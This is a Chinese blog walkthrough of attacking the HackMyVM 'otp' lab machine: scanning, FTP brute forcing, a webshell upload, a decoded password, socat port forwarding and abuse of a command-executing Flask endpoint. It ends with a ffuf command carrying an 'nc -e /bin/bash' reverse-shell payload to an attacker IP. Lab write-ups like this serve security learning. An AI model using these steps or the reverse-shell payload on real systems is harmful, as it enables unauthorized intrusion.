0
点赞
收藏
分享

微信扫一扫

靶机渗透日记 otp

您好 2022-02-28 阅读 64
  1. IP

  2. 端口

    在这里插入图片描述

  3. 访问 80 端口

    在这里插入图片描述

  4. 目录扫描

    在这里插入图片描述

  5. 子域名扫描

    在这里插入图片描述

  6. 访问子域名

    在这里插入图片描述

    这里存在一个 Login 登录框,账号密码存在个人信息中的源码中

    在这里插入图片描述

    登录后得到一个新的用户名 david

  7. 由于目标机器还开放了21号端口,尝试进行爆破

    在这里插入图片描述

  8. 连接 FTP

  9. 查看 Apache 配置文件

    在这里插入图片描述

    找到网站的根目录

  10. 这里发现文件夹 u9104d_ 完全访问权限

    在这里插入图片描述

    将 webshell 上传至该文件夹中直接连接

  11. 在 /otp 目录下 存在 sql 文件

    在这里插入图片描述

    使用 base32 解码得到 n3v3rG0nn4G!v3y0UuP

  12. 在 ftp 还发现存在子域名 totp ,继续访问,这里爆破无果发现可以使用万能密钥登录

    在这里插入图片描述

    在这里插入图片描述

    将解密的字符替换*号,切换到 avijneyam 用户

    n3v3rG0nn4G!v3y0UuP___Cuz_HackMyVM_iS_theRe_Only_4_y0u_:)
    
  13. 执行 sudo -l

    在这里插入图片描述

    执行 localhost.sh 文件

    在这里插入图片描述

    发现在 5000 端口运行了一个服务,可以使用 frp 或者 socat 来将端口转发出来

    socat tcp-listen:5002,fork tcp:127.0.0.1:5000 &
    ss -tnlp
    

    在这里插入图片描述

  14. 访问 5002 端口

    在这里插入图片描述

    目录扫描得到 /SourceCode ,访问是一串 base64 加密的数据

    from subprocess import Popen, TimeoutExpired, PIPE
    from flask import Flask, jsonify, abort, request
    
    app = Flask(__name__)
    
    @app.route("/", methods=[""])
    def index():
        req_json = request.get_json()
        if req_json is None or "" not in req_json:
            abort(400, description="Please provide command in JSON request!")
        proc = Popen(req_json[""], stdout=PIPE, stderr=PIPE, shell=True)
        try:
            outs, errs = proc.communicate(timeout=1)
        except TimeoutExpired:
            proc.kill()
            abort(500, description="The timeout is expired!")
        if errs:
            abort(500, description=errs.decode('utf-8'))
        return jsonify(success=True, message=outs.decode('utf-8'))
    
    @app.errorhandler(400)
    def bad_request(error):
        return jsonify(success=False, message=error.description), 400
    
    @app.errorhandler(500)
    def server_error(error):
        return jsonify(success=False, message=error.description) , 500
    

    通过 Popen 创建子进程,传入 json 中的某个键执行 shell 命令,这里可以通过这种方式反弹shell

  15. 查看支持的HTTP方法

    HTTP/1.0 405 METHOD NOT ALLOWED
    Content-Type: text/html; charset=utf-8
    Allow: OPTIONS, PUT
    Content-Length: 178
    Server: Werkzeug/2.0.2 Python/3.9.2
    Date: Sat, 26 Feb 2022 08:32:14 GMT
    
  16. 获取需要传入键的字典
    在这里插入图片描述

    ffuf -c -w payload.txt -u http://otp.hmv:5002/ -X PUT -H 'Content-Type: application/json' -d '{"FUZZ": "nc -e /bin/bash 192.168.0.128 7777"}'
    

    在这里插入图片描述

举报

相关推荐

0 条评论